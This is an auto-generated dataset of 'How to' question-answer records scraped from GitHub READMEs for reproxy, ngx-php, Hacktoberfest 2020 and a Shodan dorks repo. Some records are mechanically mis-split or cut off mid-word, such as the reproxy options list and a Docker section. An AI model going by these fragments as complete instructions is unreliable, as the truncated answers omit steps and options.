{"id": "gh_ba924cbb3de9", "question": "How to: Throttling", "question_body": "About umputun/reproxy", "answer": "Reproxy allows to define system level max req/sec value for the overall system activity as well as per user. 0 values (default) treated as unlimited.\n\nUser activity limited for both matched and unmatched routes. All unmatched routes considered as a \"single destination group\" and get a common limiter which is `rate*3`. It means if 10 (req/sec) defined with `--throttle.user=10` the end user will be able to perform up to 30 request pers second for either static assets or unmatched routes. For matched routes this limiter maintained per destination (route), i.e. request proxied to s1.example.com/api will allow 10 r/s and the request proxied to s2.example.com will allow another 10 r/s.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967598"}
{"id": "gh_c437f102e7c7", "question": "How to: Upstream connection limits", "question_body": "About umputun/reproxy", "answer": "Reproxy allows configuring upstream connection pool settings to control how many connections are maintained to backend servers:\n\n- `--upstream.max-idle-conns` - Maximum number of idle connections across all upstream hosts. Default: 100.\n- `--upstream.max-conns` - Maximum number of connections per upstream host (0 = unlimited). Default: 0.\n\nSetting `--upstream.max-conns` limits concurrent connections to each backend, which is useful when upstream servers have limited capacity or to prevent connection exhaustion.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967604"}
{"id": "gh_85482b57bed2", "question": "How to: Basic auth", "question_body": "About umputun/reproxy", "answer": "Reproxy supports basic auth in two modes: global (all routes) and per-route.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967610"}
{"id": "gh_e6b1153c50a6", "question": "How to: Global basic auth", "question_body": "About umputun/reproxy", "answer": "Global basic auth protects all routes. This is useful for protecting endpoints during development and testing. To enable, set the htpasswd file with `--basic-htpasswd=\n` or env `BASIC_HTPASSWD=\n`.\n\nReproxy expects htpasswd file to be in the following format:\n\n```\nusername1:bcrypt(password1)\nusername2:bcrypt(password2)\n...\n```\nthis can be generated with `htpasswd -nbB` command, i.e. `htpasswd -nbB test passwd`", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967616"}
{"id": "gh_a3d93e11be66", "question": "How to: Per-route basic auth", "question_body": "About umputun/reproxy", "answer": "Per-route auth allows different credentials for different routes. When a route has per-route auth configured, global auth is bypassed for that route. Per-route auth is configured via provider-specific settings:\n\n- **File provider**: `auth` field in YAML, e.g., `auth: \"user1:$2y$..., user2:$2y$...\"`\n- **Docker provider**: `reproxy.auth` label\n- **Consul Catalog provider**: `reproxy.auth` tag\n- **Static provider**: not supported (use file provider for per-route auth)\n\nThe format is a comma-separated list of `user:bcrypt_hash` pairs (same htpasswd format). Multiple users can be specified for the same route.\n\nExample with docker-compose:\n```yaml\nservices:\n  admin-api:\n    labels:\n      - \"reproxy.route=^/admin/(.*)\"\n      - \"reproxy.dest=/$1\"\n      - \"reproxy.auth=admin:$$2y$$05$$hashedpassword\"\n```\n\nNote: In docker-compose, `$` must be escaped as `$$`.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967624"}
{"id": "gh_e115f323389b", "question": "How to: IP-based access control", "question_body": "About umputun/reproxy", "answer": "Reproxy allows restricting access to the routes with a list of comma-separated subnets or ips. This is useful for the development and testing, before allowing unrestricted access to them. It also can be used to restrict access to the internal services. By default, all the routes are open for all the clients.\n\nTo restrict access to the routes, user should set appropriate keys for the routes, i.e. `reproxy.remote` for docker and consul, and `remote` for file provider. The value should be a list of comma-separated subnets or ips or subnets. For example `127.0.0.1, 192.168.1.0/24`. For more details see [docker provider](#docker-provider) and [consul catalog provider](#consul-catalog-provider) sections.\n\nBy default, reproxy will check the remote address from the client's request. However, in some cases, it won't work as expected, for example behind of other proxy, or with docker bridge network. This can be altered with `--remote-lookup-headers` parameter allowing check the value of the header `X-Real-IP` or `X-Forwarded-For` (in this order) and use it for the check. If the header is not set, the check will be performed against the remote address of the client.\n\nChecking headers should be used with caution, as it is possible to fake them. However, in some cases, it is the only way to get the real remote address of the client. Generally, it is recommended to use this option only if user is completely controlling all the headers and can guarantee the headers are not faked.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967632"}
{"id": "gh_20700733bd50", "question": "How to: Plugins support", "question_body": "About umputun/reproxy", "answer": "The core functionality of reproxy can be extended with external plugins. Each plugin is an independent process/container implementing [rpc server](https://golang.org/pkg/net/rpc/). Plugins are registered with reproxy conductor and added to the chain of the middlewares. Each plugin receives request with the original url, headers and all matching route info and responds with the headers and the status code. Any status code >= 400 treated as an error response and terminates flow immediately with the proxy error. There are two types of headers plugins can set:\n\n- `HeadersIn` - incoming headers. Those will be sent to the proxied url\n- `HeadersOut` - outgoing headers. Will be sent back to the client \n\nBy default headers set by a plugin will be mixed with the original headers. In case if plugin need to control all the headers, for example drop some of them, `OverrideHeaders*` field can be set by a plugin indicating to the core reproxy process the need to overwrite all the headers instead of mixing them in.\n\n- `OverrideHeadersIn` - indicates plugin responsible for all incoming headers.\n- `OverrideHeadersOut` - indicates plugin responsible for all outgoing headers \n\nTo simplify the development process all the building blocks provided. It includes `lib.Plugin` handling registration, listening and dispatching calls as well as `lib.Request` and `lib.Response` defining input and output. Plugin's authors should implement concrete handlers satisfying `func(req lib.Request, res *lib.HandlerResponse) (err error)` signature. Each plugin may contain multiple handlers like this.\n\n_See [examples/plugin](https://github.com/umputun/reproxy/tree/master/examples/plugin) for more info_", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967642"}
{"id": "gh_587a57beaf34", "question": "How to: Container security", "question_body": "About umputun/reproxy", "answer": "By default, the reproxy container runs under the root user to simplify the initial setup and access the docker's socket. This is needed to allow the docker provider discovery of the running containers. However, if such a discovery is not required or the docker provider not in use, it is recommended to change the user to some less-privileged one. It can be done on the docker-compose level and on docker level with `user` option, see the section below for details.\n\nSometimes, even with inside-the-docker routing, it makes sense to disable the docker provider and setup rules with either static or file provider. All the containers running within a compose sharing the same network and accessible via local DNS. User can have a rule like this to avoid docker discovery: `- STATIC_RULES=*,/api/email/(.*),http://email-sender:8080/$$1`. This rule expects `email-sender` container defined inside the same compose. Please note: users can achieve the same result by using the docker network even if the destination service was defined in a different compose file. This way reproxy configuration can stay separate from the actual services.\n\nThere is nothing except reproxy binary inside the reproxy container, as it builds on top of an empty (scratch) image.", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1292, "answer_score": 10, "has_code": false, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967650"}
{"id": "gh_57b359dc2a87", "question": "How to: Running with a non-root user", "question_body": "About umputun/reproxy", "answer": "A user with UID `1001` (belonging to groups `1001` and `999`) is pre-created within the container and can be used for running reproxy as a non-root user:\n\n```yaml\nservices:\n  reproxy:\n    user: 1001\n    image: umputun/reproxy:latest", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967656"}
{"id": "gh_e33773833530", "question": "How to: see examples/ssl/docker-compose.yml for the full file example", "question_body": "About umputun/reproxy", "answer": "```\n\nIf you want to use the Docker provider, you will need to ensure this user has permission to access the Docker socket on the host system. How you set up these permissions depends on your host system configuration. For more information on configuring Docker socket permissions, see the [Docker documentation on securing the Docker daemon socket](https://docs.docker.com/engine/security/protect-access/).", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967661"}
{"id": "gh_dae88fcb9e48", "question": "How to: All Application Options", "question_body": "About umputun/reproxy", "answer": "```\n  -l, --listen=                     listen on host:port (default: 0.0.0.0:8080/8443 under docker, 127.0.0.1:80/443 without) [$LISTEN]\n  -m, --max=                        max request size (default: 64K) [$MAX_SIZE]\n  -g, --gzip                        enable gz compression [$GZIP]\n  -x, --header=                     outgoing proxy headers to add [$HEADER]\n      --drop-header=                incoming headers to drop [$DROP_HEADERS]\n      --basic-htpasswd=             htpasswd file for basic auth [$BASIC_HTPASSWD]      \n      --lb-type=[random|failover|roundrobin]   load balancer type (default: random) [$LB_TYPE]\n      --signature                   enable reproxy signature headers [$SIGNATURE]\n      --remote-lookup-headers       enable remote lookup headers [$REMOTE_LOOKUP_HEADERS]      \n      --keep-host                   keep original Host header as default when proxying [$KEEP_HOST]\n      --insecure                    skip SSL verification on destination host [$INSECURE]\n      --dbg                         debug mode [$DEBUG]\n\nssl:\n      --ssl.type=[none|static|auto] ssl (auto) support (default: none) [$SSL_TYPE]\n      --ssl.cert=                   path to cert.pem file [$SSL_CERT]\n      --ssl.key=                    path to key.pem file [$SSL_KEY]\n      --ssl.acme-location=          dir where certificates will be stored by autocert manager (default: ./var/acme) [$SSL_ACME_LOCATION]\n      --ssl.acme-email=             admin email for certificate notifications [$SSL_ACME_EMAIL]\n      --ssl.http-port=              http port for redirect to https and acme challenge test (default: 8080 under docker, 80 without) [$SSL_HTTP_PORT]\n      --ssl.fqdn=                   FQDN(s) for ACME certificates [$SSL_ACME_FQDN]\n\nassets:\n  -a, --assets.location=            assets location [$ASSETS_LOCATION]\n      --assets.root=                assets web root (default: /) [$ASSETS_ROOT]\n      --assets.spa                  spa treatment for assets [$ASSETS_SPA]\n      --assets.cache=               cache duration for assets [$ASSETS_CACHE]\n      --assets.not-found=           path to file to serve on 404, relative to location [$ASSETS_NOT_FOUND]\n\nlogger:\n      --logger.stdout               enable stdout logging [$LOGGER_STDOUT]\n      --logger.enabled              enable access and error rotated logs [$LOGGER_ENABLED]\n      --logger.file=                location of access log (default: access.log) [$LOGGER_FILE]\n      --logger.max-size=            maximum size before it gets rotated (default: 100M) [$LOGGER_MAX_SIZE]\n      --logger.max-backups=         maximum number of old log files to retain (default: 10) [$LOGGER_MAX_BACKUPS]\n\ndocker:\n      --docker.enabled              enable docker provider [$DOCKER_ENABLED]\n      --docker.host=                docker host (default: unix:///var/run/docker.sock) [$DOCKER_HOST]\n      --docker.network=             docker network [$DOCKER_NETWORK]\n      --docker.exclude=             excluded containers [$DOCKER_EXCLUDE]\n      --docker.auto                 enable automatic routing (without labels) [$DOCKER_AUTO]\n      --docker.prefix=              prefix for docker source routes [$DOCKER_PREFIX]\n      --docker.api-version=         docker API version (default: 1.24) [$DOCKER_API_VERSION]\n\nconsul-catalog:\n      --consul-catalog.enabled      enable consul catalog provider [$CONSUL_CATALOG_ENABLED]\n      --consul-catalog.address=     consul address (default: http://127.0.0.1:8500) [$CONSUL_CATALOG_ADDRESS]\n      --consul-catalog.interval=    consul catalog check interval (default: 1s) [$CONSUL_CATALOG_INTERVAL]\n\nfile:\n      --file.enabled                enable file provider [$FILE_ENABLED]\n      --file.name=                  file name (default: reproxy.yml) [$FILE_NAME]\n      --file.interval=              file check interval (default: 3s) [$FILE_INTERVAL]\n      --file.delay=                 file event delay (default: 500ms) [$FILE_DELAY]\n\nstatic:\n      --static.enabled              enable static provider [$STATIC_ENABLED]\n      --static.rule=                routing rules [$STATIC_RULES]\n\ntimeout:\n      --timeout.read-header=        read header server timeout (default: 5s) [$TIMEOUT_READ_HEADER]\n      --timeout.write=              write server timeout (default: 30s) [$TIMEOUT_WRITE]\n      --timeout.idle=               idle server timeout (default: 30s) [$TIMEOUT_IDLE]\n      --timeout.dial=               dial transport timeout (default: 30s) [$TIMEOUT_DIAL]\n      --timeout.keep-alive=         keep-alive transport timeout (default: 30s) [$TIMEOUT_KEEP_ALIVE]\n      --timeout.resp-header=        response header transport timeout (default: 5s) [$TIMEOUT_RESP_HEADER]\n      --timeout.idle-conn=          idle connection transport timeout (default: 90s) [$TIMEOUT_IDLE_CONN]\n      --timeout.tls=                TLS hanshake transport timeout (default: 10s) [$TIMEOUT_TLS]\n      --timeout.continue=           expect continue transport timeout (default: 1s) [$TIMEOUT_CONTINUE]\n\nmgmt:\n      --mgmt.enabled                e", "tags": ["umputun"], "source": "github_gists", "category": "umputun", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1292, "answer_score": 10, "has_code": true, "url": "https://github.com/umputun/reproxy", "collected_at": "2026-01-17T12:58:54.967682"}
{"id": "gh_f9fa31b35ff9", "question": "How to: Compile install", "question_body": "About rryqszq4/ngx-php", "answer": "```sh\n$ wget 'http://php.net/distributions/php-7.3.10.tar.gz'\n$ tar xf php-7.3.10.tar.gz\n$ cd php-7.3.10\n\n$ ./configure --prefix=/path/to/php --enable-embed\n$ make && make install\n\n$ git clone https://github.com/rryqszq4/ngx-php.git\n\n$ wget 'http://nginx.org/download/nginx-1.12.2.tar.gz'\n$ tar -zxvf nginx-1.12.2.tar.gz\n$ cd nginx-1.12.2\n\n$ export PHP_CONFIG=/path/to/php/bin/php-config\n$ export PHP_BIN=/path/to/php/bin\n$ export PHP_INC=/path/to/php/include/php\n$ export PHP_LIB=/path/to/php/lib\n\n$ ./configure --user=www --group=www \\\n$             --prefix=/path/to/nginx \\\n$             --with-ld-opt=\"-Wl,-rpath,$PHP_LIB\" \\\n$             --add-module=/path/to/ngx-php/third_party/ngx_devel_kit \\\n$             --add-module=/path/to/ngx-php\n$ make && make install\n```", "tags": ["rryqszq4"], "source": "github_gists", "category": "rryqszq4", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 694, "answer_score": 10, "has_code": true, "url": "https://github.com/rryqszq4/ngx-php", "collected_at": "2026-01-17T12:59:00.198258"}
{"id": "gh_0868ce305184", "question": "How to: CentOS / RedHat 7", "question_body": "About rryqszq4/ngx-php", "answer": "```sh\nyum -y install https://extras.getpagespeed.com/release-el7-latest.rpm\nyum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm yum-utils\nyum-config-manager --enable remi-php73\nyum install nginx-module-php7\n```\n\nEdit `nginx.conf` and load the required modules at the top:\n\n    load_module modules/ndk_http_module.so;\n    load_module modules/ngx_http_php_module.so;", "tags": ["rryqszq4"], "source": "github_gists", "category": "rryqszq4", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 694, "answer_score": 10, "has_code": true, "url": "https://github.com/rryqszq4/ngx-php", "collected_at": "2026-01-17T12:59:00.198271"}
{"id": "gh_96eafa2ec757", "question": "How to: Components", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "There are three major components that are entirely separate from one another:\n\n1. Issue discovery - Fetches issues from GitHub with the label `hacktoberfest` and persists them in the database to be featured on the homepage based on a randomized quality filter.\n\n2. Content pages - Primarily static pages that are supplemented with dynamic data from Airtable.\n\n3. Participant management - Allows users to register to participate in Hacktoberfest, tracks user progress, and distributes prizes based on availability. The majority of the business logic is implemented with a state machine, validating that various conditions are met before a user may be transitioned to a new state and with certain actions being triggered on successful state transitions.", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084902"}
{"id": "gh_eda8cdbe93ae", "question": "How to: Getting Started", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084916"}
{"id": "gh_6f131d0c6574", "question": "How to: Prerequisites", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "- Ensure your os is the latest MacOS\n\n- Have brew installed (Run the following command in a mac os terminal to install):\n\n```\n/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n```", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084923"}
{"id": "gh_fd20e25e623d", "question": "How to: Application Setup", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "1) [Install and Setup](#installing)\n2) [Local Setup With Docker](#local-setup-with-docker)\n3) [Setup Oauth Token](#setup-oauth-token)\n4) [Configure remaining environment variables](#env-variables)\n5) [Create first user](#create-first-user)\n6) [Import Projects](#import-projects)", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084929"}
{"id": "gh_49b87344e5ca", "question": "How to: Installing", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "Clone the repo:\n\n```\ngit clone https://github.com/digitalocean/hacktoberfest\n```\n\nIn your local repository, run script/setup, which will install all necessary dependencies for you:\n\n```\nscript/setup\n```", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084935"}
{"id": "gh_1a49c817c026", "question": "How to: Local Setup With Docker", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "If you would like to use Docker to work with the application, first make sure that you have Docker and Docker Compose on your local machine.\n\nNext clone the repo as described in [Step 1](#installing). \n\nFrom there, create a local `.env` file, and add fill out the following values, using steps [3](#setup-oauth-token) and [4](#env-variables) to guide you:\n\n```\nHACKTOBERFEST_DATABASE_HOST=database\nHACKTOBERFEST_DATABASE_USERNAME=hacktoberfest\nHACKTOBERFEST_DATABASE_PASSWORD=sekret\nHACKTOBERFEST_API_KEY=sekret\nREDIS_HOST=redis\nREDIS_PORT=6379\nDALLI_SERVER=memcached\nGITHUB_CLIENT_ID=\nGITHUB_CLIENT_SECRET=\nSTART_DATE=\nRULES_DATE=\nEND_DATE=\nAIRTABLE_API_KEY=\nAIRTABLE_APP_ID=\nSEGMENT_WRITE_KEY=\nTEST_USER_GITHUB_TOKEN=\n```\n**Note**: Use the following values when setting up your Oauth token:\n\n```\n> Homepage URL: `http://localhost`\\\n> Authorization callback URL: `http://localhost/auth/github/callback`\n```\nThe local Docker setup uses a webserver, in the same way that the application does in staging and production, so it will be reachable on port `80`.\n\nRun the startup script, `./script/docker-startup.sh` to start your services.\n\n**Note:** You do not need to use the other startup scripts in the repo if you are using Docker to run the application locally. When using Docker, follow the steps in this section of the README.\n\n**Inspecting and Troubleshooting**\n\nYou can inspect whether or not your services have started successfully by running the `check` script: `./script/check.sh`. You will see the following output if the services are all running:\n\n```\n         Name                         Command               State           Ports         \n-------------------------------------------------------------------------------------------\nhacktoberfest_app_1         ./script/docker-entrypoint.sh    Up      3000/tcp              \nhacktoberfest_database_1    docker-entrypoint.sh postgres    Up      0.0.0.0:5432->5432/tcp\nhacktoberfest_redis_1       docker-entrypoint.sh redis ...   Up      6379/tcp              \nhacktoberfest_sidekiq_1     ./script/sidekiq-entrypoint.sh   Up      3000/tcp              \nhacktoberfest_webserver_1   nginx -g daemon off;             Up      0.0.0.0:80->80/tcp    \n```\n\nIn cases where you need to investigate an exit status, you can get the logs of the service with `docker-compose logs\n`.\n\nTo check that the application is ready to accept traffic, run `docker-compose logs app`. You should see the following output:\n\n```\napp_1        | ==> Hacktoberfest is now ready to go!\napp_1        | => Booting Puma\napp_1        | => Rails 5.2.3 application starting in development \napp_1        | => Run `rails server -h` for more startup options\napp_1        | Puma starting in single mode...\napp_1        | * Version 4.1.1 (ruby 2.5.8-p224), codename: Fourth and One\napp_1        | * Min threads: 5, max threads: 5\napp_1        | * Environment: development\napp_1        | * Listening on tcp://0.0.0.0:3000\napp_1        | Use Ctrl-C to stop\n```\nOnce the app is running, you can connect to it by navigating to `localhost`. Please note that trying to connect to the app at `localhost` before it is ready will result in `502` Bad Gateway error, so be sure to check the logs first.\n\n**Testing**\n\nIf you would like to run commands against your app service, you can do that with the following command (using rubocop as an example): \n\n```\n./script/test-command.sh bundle exec rubocop app config db lib spec --safe-auto-correct\n```\n\nOr to run a particular spec:\n\n```\n./script/test-command.sh bundle exec rspec\n```\n**Running migrations**\n\nIn cases where you want to create a migration in the context of your current development, you can use the following command:\n\n```\ndocker-compose exec app rails g migration\n```\nTo run the migration, type:\n\n```\ndocker-compose exec app bundle exec rake db:migrate\n```\nIn both cases, the relevant files and changes will be available on your host, as well as on your container.\n\nIf the app is currently stopped and you need to run migrations, you can use the `restart-app` script, which will restart the app and run any pending migrations. See the explanation below for more detail.\n\n**Reloading the server**\n\nThere are cases where you will need to stop and restart the Rails server, in order for things like configuration changes to take effect. \n\nTo do this, run the following script to stop and restart the app: `./script/restart-app.sh`.\n\nThis will restart the app and run any pending migrations.\n\n**Adding a new gem to the project**\n\nAnother task you may need to accomplish is adding a new gem to the project. Because this local Docker setup depends on a gem volume (to speed up development and boot times), you need to both stop the application and remove this volume for your changes to t", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084954"}
{"id": "gh_da56c5c9f178", "question": "How to: Setup Oauth Token", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "Hacktoberfest uses `GITHUB_CLIENT_ID` & `GITHUB_CLIENT_SECRET` variables to configure OmniAuth.\n\nThis allows users to be authorized for Hacktoberfest via Github.\n\nFor this, you will have to create a Github OAuth App (https://developer.github.com/apps/building-oauth-apps)\n\nBe sure your OAuth app is configured with the following URLs\n\n![Oauth Config](https://user-images.githubusercontent.com/7976757/66855839-fd259980-ef51-11e9-808b-26a9251841bf.png)\n\n> Homepage URL: `http://localhost:3000`\\\n> Authorization callback URL: `http://localhost:3000/auth/github/callback`\n\nThe Client ID and Client Secret are right above this configuration. Use them to set the following ENV variables: \n\n```\nGITHUB_CLIENT_ID=\nGITHUB_CLIENT_SECRET=\n```", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084962"}
{"id": "gh_ebd2adf81cf3", "question": "How to: ENV Variables", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "#### Start Date & End Date\n\nHacktoberfest is officially active from October 1st - October 31st (in any timezone)\n\nThe app can be in three different states:\n\n* Pre-launch \n  - Users can sign up and all pages are reachable, but the profile page is not yet tracking pull requests\n* Active\n  - All pages are active and the profile is tracking PRs\n* Finished\n  - Hacktoberfest has declared its winners\n\nSo your dates can look something like this if you're developing in October 2019 and you want the app in the Active state.\n\n```bash\n START_DATE=\"2019-09-30 10:00:00 UTC\"\n END_DATE=\"2019-11-01 12:00:00 UTC\"\n```\n\n(These timestamps account for the furthest positive UTC offset (+14 in Kiribati), where they’ll see 1st Oct 00:00 on 30th Sept 10:00 UTC and the furthest negative UTC offset (-12 in the US Outlying Islands), where they’ll see 1st Nov 00:00 on 1st Nov 12:00 UTC).\n\nIf you want to work on the app in the `Pre-Launch` state, set the start date to a future date.\nIf you want to work on the app in the `Finished` state, set the end date to a past date.\n\n#### Airtable API Key & Airtable App ID\n\nHacktoberfest uses Airtable as a CMS to hold useful data such as:\n  - Events\n  - FAQ\n  - Spam Repositories\n\nFor your convenience we have created two options:\n\n##### Create an Airtable Database:\n\nWe created a read-only copy of what the Airtable database should look like.\n\nWith this you can create your own schema by following this format:\n(https://airtable.com/shrqM142bVC1Gj2t8)\n\nAfter you’ve created and configured the schema of an Airtable base from the graphical interface,\n\nyour Airtable base will provide its own API to create, read, update, and destroy records.\n\nYou should update these variables accordingly in your `.env`\n\n##### Use Placeholder Airtable Service\n\nIf configuring your own Airtable schema does not sound like your cup of tea - don't fret.\n\nWe have created placeholder service objects that will render test data if your Airtable keys are not set.\n\nThis service will be used as default.\n\nYou can find this service in `app/services/airtable_placeholder_service.rb`", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084977"}
{"id": "gh_9c4892014842", "question": "How to: Create First User", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "1) Spin up the server by running `script/server`\n\n2) Now, open your browser of choice and visit `localhost:3000`\n\n3) Click `START HACKING` on the top right of the navigation bar\n\n![start hacking](https://user-images.githubusercontent.com/7976757/66863220-8e9c0800-ef60-11e9-8100-87af508fdf3d.png)\n\n4) Log in with your github account\n\n5) Agree to the terms and conditions and continue", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084984"}
{"id": "gh_4e84155b7906", "question": "How to: Import Projects", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "This task imports repositories to the hacktoberfest app(these are displayed on the homepage). If you don't run the task, there simply won't be any repositories on the homepage aside from the hard-coded climate change repos.\n\n1) Spin up sidekiq:\n\n```\nscript/sidekiq\n```\n\n2) In a separate terminal window, run the import script:\n\n```bash\nbin/rails github:fetch_popular_languages_projects\n```", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084989"}
{"id": "gh_6ba3596f8c35", "question": "How to: Running the project", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "There are two commands you will need for running the project.\n\nFirst, spin up the rails server locally:\n\n```\nscript/server\n```\n\nIf you will be running any background jobs through sidekiq, run the following command in a separate terminal window from `script/server` which will spin up both redis and sidekiq:\n\n```\nscript/sidekiq\n```", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 489, "answer_score": 10, "has_code": true, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.084995"}
{"id": "gh_25e43204ee43", "question": "How to: Contributing", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "Hacktoberfest is open source and we welcome contributions. See [CONTRIBUTING.md](/CONTRIBUTING.md) for more info.", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.085000"}
{"id": "gh_5133c15db760", "question": "How to: Code of Conduct", "question_body": "About Hacktoberfest/hacktoberfest-2020", "answer": "This project uses the Contributor Covenant Code of Conduct. See [CODE_OF_CONDUCT.md](/CODE_OF_CONDUCT.md) for more info.", "tags": ["Hacktoberfest"], "source": "github_gists", "category": "Hacktoberfest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 489, "answer_score": 10, "has_code": false, "url": "https://github.com/Hacktoberfest/hacktoberfest-2020", "collected_at": "2026-01-17T12:59:03.085005"}
{"id": "gh_244c0fbefcc2", "question": "How to: before/after:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Find devices before or after between a given time.\n`apache after:22/02/2009 before:14/3/2010`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547513"}
